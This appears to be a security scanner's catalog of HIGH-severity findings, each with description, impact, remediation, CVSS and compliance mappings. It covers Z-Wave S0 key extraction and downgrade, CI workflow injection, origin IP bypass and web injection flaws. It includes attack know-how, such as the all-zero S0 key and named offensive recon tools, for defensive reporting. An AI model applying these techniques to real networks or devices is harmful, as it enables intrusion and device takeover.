NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
HIGH GB-ZW-005 — Z-Wave S0 Network Key Extractable on Inclusion
Description: Because the network uses S0, its network key is derivable by any attacker who captures a device inclusion: the Network Key Set frame is encrypted only under the well-known temporary key 0x00000000000000000000000000000000, so the S0 network key can be extracted offline.
Impact: Recovering the S0 network key lets an attacker decrypt every past and future S0 frame and forge authenticated commands (unlock doors, actuate devices); a node re-included after a power loss re-exposes the key.
Remediation: Use S2 (ECDH-authenticated key exchange with out-of-band DSK) so the network key is never sent under a hardcoded key; shield any required S0 inclusion.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-12, IA-5
PCI DSS 4: 3.6.1
HIGH GB-ZW-006 — Z-Wave S2 Security Downgrade to S0 Accepted
Description: During inclusion the controller accepted a downgrade of the negotiated security class from S2 to the legacy S0 command class (the 'Z-Shave' attack), because S2-only inclusion is not enforced.
Impact: An attacker in RF range at inclusion time can force S0, recover the network key via the hardcoded all-zero temporary key, and take control of the device despite S2 support being present.
Remediation: Enforce S2-only inclusion with no S0 fallback; reject any KEX_REPORT that requests a lower security class; require out-of-band DSK verification at inclusion.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1600.001 (Defense Evasion)
NIST 800-53: SC-13, SC-12
PCI DSS 4: 4.2.1
HIGH GB-ZW-007 — Z-Wave Command Replay Accepted
Description: A previously captured unencrypted (or S0) Z-Wave command frame was retransmitted and the device acted on it, confirming no effective anti-replay protection.
Impact: An attacker can record a legitimate command (lock/unlock, on/off) and replay it later to actuate the device without ever possessing the network key.
Remediation: Enforce S2, whose Singlecast nonce/SPAN sequencing rejects replayed frames; never operate actuators over unencrypted or S0 command classes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
HIGH IS-006 — Information Disclosure: Secret in File
Description: A sensitive credential, token, API key, private key, or connection string was detected in a file's contents. The specific type varies (AWS keys, GitHub tokens, Slack tokens, JWT, Bearer tokens, database connection strings, etc.).
Impact: Exposed credentials provide direct access to systems, APIs, or data stores. An attacker who obtains these can impersonate legitimate users, access cloud resources, exfiltrate data, or pivot to additional systems. The severity depends on the credential's scope and privileges.
Remediation: Remove the secret from the file immediately. Rotate the credential — treat it as compromised. Check git history for prior exposure and use tools like truffleHog or git-secrets to prevent future leaks. Implement a secrets management solution (Vault, AWS Secrets Manager, etc.).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
OWASP API: API2:2023 - Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access), T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-12, SC-28
PCI DSS 4: 2.2.7, 8.3.2
HIGH IS-007 — Weak cryptographic key ({key_bits} bits)
Description: A certificate or private key file uses a cryptographic key shorter than 2048 bits. Keys below this threshold are considered weak and potentially vulnerable to factoring attacks with modern computing resources.
Impact: A weak cryptographic key can be factored by a well-resourced attacker, allowing them to decrypt intercepted traffic, forge signatures, or impersonate the certificate holder. This undermines the entire trust chain built on the certificate.
Remediation: Regenerate the certificate with at least 2048-bit RSA or 256-bit EC key. Update all systems and services that reference this certificate. Revoke the old certificate.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-12, SC-13
PCI DSS 4: 4.2.1
HIGH OSIFT-005 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Impact: An expired certificate causes browser warnings that train users to bypass security prompts, and in many configurations disables certificate pinning. An attacker can present their own certificate to users conditioned to click through warnings, enabling silent interception of all encrypted traffic.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
HIGH OSIFT-011 — Breached Email Address Found
Description: An email address associated with the target organisation appeared in a known data breach (HIBP or Dehashed). The account holder's credentials may have been exposed.
Impact: Email addresses found in breach databases indicate that associated passwords may be available to attackers. Credential reuse across services means these compromised credentials may grant access to the organization's systems.
Remediation: Notify affected employees. Force password resets for all affected accounts. Enable MFA. Review whether compromised accounts have access to sensitive systems.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH OSIFT-014 — M365 Valid User Enumerated
Description: TREVORspray or Azure AD authentication confirmed that a discovered email address is a valid M365/Azure AD account (user exists in the tenant). Confirms the account is a viable spray target.
Remediation: Enable account lockout and smart lockout in Azure AD. Implement Conditional Access policies. Consider disabling legacy authentication protocols.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
HIGH OSIFT-016 — Subdomain Takeover Risk
Description: A subdomain has a CNAME pointing to an external service (e.g., GitHub Pages, S3, Heroku, Shopify) that is no longer claimed. An attacker could register the resource and serve malicious content under the organisation's subdomain.
Remediation: Remove the dangling DNS record immediately. If the external service is still needed, reclaim the resource. Implement subdomain monitoring.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
HIGH OSIFT-017 — DNS Zone Transfer Permitted (AXFR)
Description: The DNS server responds to unauthenticated AXFR zone transfer requests, exposing the complete DNS zone including internal hostnames, IP addresses, and mail infrastructure.
Impact: Permitted zone transfers expose the complete DNS zone contents including all hostnames, IP addresses, and service records. This provides an attacker with a comprehensive map of the organization's infrastructure without active scanning.
Remediation: Restrict zone transfer permissions to authorised secondary name server IP addresses using ACLs in the DNS server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
HIGH OSIFT-022 — Shodan Exposure — Known CVE on Service
Description: Shodan has associated one or more CVEs with a service running on a target IP based on the service banner and version string. A known public exploit may exist.
Impact: Shodan-indexed services are visible to any internet user and often reveal version strings, default pages, and configuration details. Attackers routinely search Shodan for exposed services matching known vulnerable versions.
Remediation: Patch or update the affected service immediately. If patching is not immediately possible, apply mitigating controls (WAF rule, network restriction).
CVSS Vector: N/A
HIGH OSIFT-023 — Cloud Storage Bucket Found
Description: cloud_enum or manual enumeration discovered a publicly accessible cloud storage bucket (AWS S3, Azure Blob, GCP Storage) associated with the target. It may contain sensitive files.
Remediation: Immediately set the bucket to private unless public access is intentional. Audit bucket contents for sensitive data. Enable bucket access logging and alerts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
HIGH OSIFT-029 — Sensitive File Found via Web Crawler
Description: katana or xurlfind3r discovered a publicly accessible file containing potentially sensitive data: backup archives (.zip, .bak), configuration files (.env, .config), log files, or database dumps.
Remediation: Remove the file from the web root immediately. Audit web server directory listings. Restrict access to backup and config files via .htaccess or server config.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH OSIFT-041 — Potential PII Pattern — Social Security Number Format Detected
Description: Content matching the US Social Security Number format (XXX-XX-XXXX, nine digits with specific separators) was identified in publicly accessible content associated with the target domain or organisation. Exposure of SSN-format data in a publicly reachable location constitutes a potential data breach under US federal and state regulations (HIPAA, state breach notification laws, FTC Act). Even if the values are synthetic or test data, their public exposure indicates a failure in data classification and handling controls.
Remediation: Immediately investigate whether the detected values are real SSNs or test data. If real, initiate incident response per your breach notification obligations (HIPAA, state data breach laws). Remove the file or page containing the data from public access. Implement data loss prevention (DLP) scanning to detect SSN-format strings in web application output and source code repositories. Conduct a broader audit of publicly accessible content for additional PII exposure.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
HIGH OSIFT-054 — GitHub Actions: Workflow Injection Vulnerability
Description: gato identified a GitHub Actions workflow that uses unsanitized expression substitution (${{ }}) with attacker-controlled input (such as issue titles, PR bodies, or commit messages). This allows an attacker to inject arbitrary code that executes in the workflow runner context.
Impact: Workflow injection allows an attacker to execute arbitrary code in the CI/CD environment. This can lead to secret exfiltration (GitHub tokens, deployment keys, API credentials), supply chain compromise (modifying build artifacts), lateral movement to other repositories, and persistent access via self-hosted runner compromise.
Remediation: Use intermediate environment variables instead of direct expression substitution in workflow run steps. Replace ${{ github.event.issue.title }} with an env: block that assigns the value to an environment variable, then reference the variable in the script. Use actions/github-script with the github context object instead of shell interpolation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1195.002 (Initial Access), T1059 (Execution)
NIST 800-53: SA-11, SI-7
PCI DSS 4: 6.2.4, 6.3.2
HIGH OSIFT-055 — GitHub Actions: Secret Exfiltration Path
Description: gato identified a workflow configuration where secrets are accessible to jobs or steps that process untrusted input. An attacker who can trigger the workflow (via PR, issue, or fork) may be able to exfiltrate secrets through environment variables, workflow artifacts, or out-of-band channels.
Impact: Secret exfiltration from CI/CD pipelines can expose deployment credentials, cloud provider keys, signing certificates, and API tokens. Compromised secrets enable lateral movement to production environments, supply chain attacks via signed releases, and persistent access to organizational infrastructure.
Remediation: Restrict secrets to specific jobs using environment-level scoping. Use OIDC tokens instead of long-lived credentials for cloud authentication. Require approval for workflows triggered by external contributors. Avoid passing secrets to steps that handle untrusted input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1552.001 (Credential Access), T1195.002 (Initial Access)
NIST 800-53: SC-28, AC-6
PCI DSS 4: 3.5.1, 8.3.1
HIGH OSIFT-059 — CDN/WAF Bypass: Origin IP Exposed
Description: hakoriginfinder discovered the origin server IP address behind the CDN/WAF. The origin IP responds to HTTP requests directly, bypassing all CDN/WAF protections (rate limiting, DDoS mitigation, WAF rules, geo-blocking, bot detection). The origin was confirmed by matching response characteristics to the target domain.
Impact: Direct access to the origin server bypasses all CDN/WAF security controls. An attacker can launch DDoS attacks directly against the origin, exploit web application vulnerabilities without WAF interference, bypass rate limiting and bot detection, and circumvent geo-blocking or IP-based access controls. The origin server may also expose internal services or management interfaces not intended to be publicly accessible.
Remediation: Restrict the origin server firewall to accept connections only from CDN/WAF edge IP ranges. Use the CDN provider's published IP lists (e.g., Cloudflare IPs, AWS CloudFront IPs) in firewall rules. Block all direct access to the origin from non-CDN sources. Consider using authenticated origin pulls (mTLS between CDN and origin).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: SC-7, SC-5
PCI DSS 4: 1.3.1, 6.4.1
HIGH PHX-002 — Reflected Cross-Site Scripting (XSS)
Remediation: Encode all output in the appropriate context (HTML, JS, CSS, URL). Use Content Security Policy headers. Validate and sanitize input server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH PHX-003 — XML External Entity Injection (XXE)
Remediation: Disable XML external entity processing in all XML parsers. Use less complex data formats such as JSON. Patch or upgrade all XML processors and libraries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-005 — LDAP Injection
Remediation: Escape all special characters in LDAP queries. Use parameterized LDAP APIs. Validate input against a strict allowlist before passing to directory queries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-007 — NoSQL Injection
Remediation: Sanitize and validate all input before passing to NoSQL query constructors. Use ODM libraries that enforce typed queries. Restrict MongoDB operators ($where, $regex) in user-supplied data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-008 — Broken Authentication – No Account Lockout
Remediation: Implement account lockout after 5–10 failed attempts with progressive delays. Use CAPTCHA for public-facing login. Enforce MFA for all user accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1110.003 (Credential Access)
NIST 800-53: AC-7, IA-5
PCI DSS 4: 8.3.4
HIGH PHX-009 — Session Fixation
Remediation: Invalidate and regenerate session tokens immediately after successful authentication. Set Secure, HttpOnly, and SameSite flags on session cookies.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement), T1550.004 (Defense Evasion)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.3.6
HIGH PHX-011 — OAuth Misconfiguration – Open Redirect in Redirect URI
Remediation: Enforce strict redirect_uri validation — exact string match against a pre-registered whitelist. Reject wildcard or partial-match redirect URIs. Use state parameter to prevent CSRF.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1189 (Initial Access)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 8.3.6
HIGH PHX-012 — Insecure Direct Object Reference (IDOR)
Remediation: Enforce authorization checks on every object access server-side. Use indirect reference maps (GUIDs instead of sequential IDs). Never rely on obscurity of object identifiers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 6.2.4, 7.2.1
HIGH PHX-014 — Broken Object Level Authorization (BOLA)
Remediation: Enforce per-request object ownership validation. Do not trust client-supplied object IDs without authorization checks. Use UUIDs and validate ownership against the authenticated user's context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH PHX-015 — Broken Function Level Authorization (BFLA)
Remediation: Implement role-based access control for every API endpoint. Deny by default — explicitly grant access to admin/sensitive functions. Audit all sensitive function calls.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH PHX-016 — Mass Assignment Vulnerability
Remediation: Use explicit allowlists (DTOs) to control which fields can be bound from requests. Never bind internal/privileged fields (isAdmin, role, credit) from user input directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH PHX-018 — Path Traversal
Remediation: Canonicalize file paths and validate against an allowed base directory. Use chroot jails. Never allow user input to determine file paths directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
HIGH PHX-022 — Cleartext Transmission of Sensitive Data
Remediation: Enforce HTTPS for all communications. Implement HSTS with a long max-age. Redirect all HTTP traffic to HTTPS. Never transmit credentials, tokens, or PII over unencrypted channels.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection), T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1, 4.2.2
HIGH PHX-023 — Insecure Password Hashing (MD5/SHA1)
Remediation: Replace MD5/SHA1 password hashing with bcrypt, scrypt, or Argon2. Add unique per-user salts. Migrate existing hashes on next login.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
HIGH PHX-025 — Debug Endpoint Exposed
Remediation: Disable or restrict all debug endpoints in production. Remove phpinfo() calls. Restrict Spring Boot Actuator endpoints to internal IPs only. Use environment-specific configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1595 (Reconnaissance), T1592 (Reconnaissance)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4, 2.2.1
HIGH PHX-027 — CORS Misconfiguration – Wildcard Origin Allowed
Remediation: Restrict CORS to explicitly defined, trusted origins. Never use wildcard (*) with credentials. Validate the Origin header against a server-side allowlist.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
HIGH PHX-030 — SMB Signing Disabled
Remediation: Enable and require SMB signing on all Windows hosts via Group Policy. This prevents NTLM relay attacks that exploit unsigned SMB traffic.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
HIGH PHX-032 — RDP Exposed to Internet
Remediation: Restrict RDP access to internal networks only. Require VPN for remote access. Enable NLA (Network Level Authentication). Apply all RDP-related security patches.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1133 (Initial Access), T1021.001 (Lateral Movement)
NIST 800-53: CM-7, AC-17
PCI DSS 4: 1.3.1
CISA KEV
HIGH PHX-037 — Data Leak – Sensitive Information in Public Paste Site
Remediation: Immediately rotate all exposed credentials. Engage with paste site to remove content. Implement DLP controls and monitor for future exposure via threat intelligence feeds.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: IR-6, IA-5
PCI DSS 4: 3.4.1
HIGH PHX-041 — Vulnerable Third-Party Dependency
Remediation: Update vulnerable dependency to a patched version. Subscribe to security advisories. Integrate SCA scanning into CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1195.001 (Initial Access)
NIST 800-53: SI-2, SA-12, RA-5
PCI DSS 4: 6.3.3
HIGH PHX-046 — Parameter Tampering – Price Manipulation
Remediation: Never trust client-supplied pricing or financial data. Recalculate prices server-side from the product catalog on every transaction. Validate all order parameters against authoritative backend data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: SI-10, AC-3
PCI DSS 4: 6.2.4
HIGH PHX-047 — Race Condition – Time-of-Check to Time-of-Use (TOCTOU)
Remediation: Use atomic operations and database-level locking for critical state transitions. Implement idempotency keys for financial transactions. Apply optimistic locking patterns.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-049 — Cross-Site Request Forgery (CSRF)
Remediation: Implement CSRF tokens on all state-changing requests. Use SameSite=Strict or Lax cookie attribute. Validate Origin and Referer headers for sensitive operations.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4
HIGH PHX-055 — Broken Object Property Level Authorization (BOPLA)
Remediation: Filter API responses to return only fields the requesting user is authorized to see. Use response schemas/DTOs to explicitly whitelist returned fields. Apply property-level access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API3:2023 – Broken Object Property Level Authorization
NIST 800-53: AC-3, AC-4
PCI DSS 4: 3.4.1
HIGH PHX-057 — Sensitive Data Exposed in URL Parameters
Remediation: Never pass sensitive data (passwords, tokens, API keys) in URL query parameters. Use request bodies (POST) or headers. Ensure server logs do not capture sensitive query parameters.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1552 (Credential Access)
NIST 800-53: SC-8, SI-12
PCI DSS 4: 4.2.1
HIGH PHX-058 — XPath Injection
Remediation: Use parameterized XPath queries. Escape special XPath/XML characters in user input. Use XML schema validation to reject malformed documents.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-059 — Missing Multi-Factor Authentication
Remediation: Enforce MFA for all user accounts, especially administrative accounts. Use TOTP or hardware tokens. Apply adaptive MFA based on risk signals.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.4.2
HIGH PHX-060 — FTP Service Exposed
Remediation: Disable anonymous FTP access. Replace FTP with SFTP or FTPS. Restrict FTP access to internal networks. If FTP is required, enforce authentication and encryption.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1048 (Exfiltration)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 4.2.1, 2.2.1
HIGH PHX-061 — Telnet Service Enabled
Remediation: Disable Telnet. Replace with SSH for all remote management. Block port 23 at the network perimeter.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 2.2.1, 4.2.1
HIGH PHX-062 — SNMP Default Community String
Remediation: Change default SNMP community strings immediately. Upgrade to SNMPv3 with authentication and encryption. Restrict SNMP access to management networks only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1602.001 (Collection)
NIST 800-53: CM-6, IA-5
PCI DSS 4: 2.2.1
HIGH PHX-066 — Stored Cross-Site Scripting (XSS)
Remediation: Sanitize input on storage and encode output on render. Apply strict CSP. Treat stored user content as untrusted and encode at each output context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH PHX-067 — Insecure Direct Object Reference – File Access
Remediation: Validate that the authenticated user owns or has explicit access to each requested file. Use access control lists per file resource. Store files with non-guessable names.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH PHX-068 — Business Logic Flaw – Negative Quantity Accepted
Remediation: Enforce server-side validation that quantities, prices, and counts are within acceptable positive ranges. Reject or sanitize negative or zero values for business-critical numeric fields.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-077 — Subdomain Takeover
Remediation: Audit DNS records for CNAME or A records pointing to decommissioned or unclaimed third-party services. Remove dangling DNS entries. Claim or delete associated cloud resources.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1584.001 (Resource Development)
NIST 800-53: CM-8, CM-6
HIGH PHX-079 — Broken Access Control – Horizontal Privilege Escalation
Remediation: Enforce strict ownership checks for every data access operation. Bind resources to authenticated user context. Never rely on client-supplied user IDs for authorization decisions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH PHX-080 — Unencrypted Database Connection
Remediation: Enable TLS/SSL for all database connections. Enforce certificate validation. Use strong cipher suites and rotate DB credentials regularly.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
HIGH PHX-083 — Insecure Cloud Storage – S3 Bucket Publicly Readable
Remediation: Set S3 bucket policies to deny public access. Enable S3 Block Public Access settings. Audit all cloud storage for publicly exposed sensitive data. Enable bucket access logging.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 3.4.1
HIGH PHX-084 — Cloud Instance Metadata Service (IMDS) Accessible
Remediation: Enforce IMDSv2 (token-required) on all EC2 instances. Block access to 169.254.169.254 at the application layer. Restrict IAM roles to minimum required permissions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
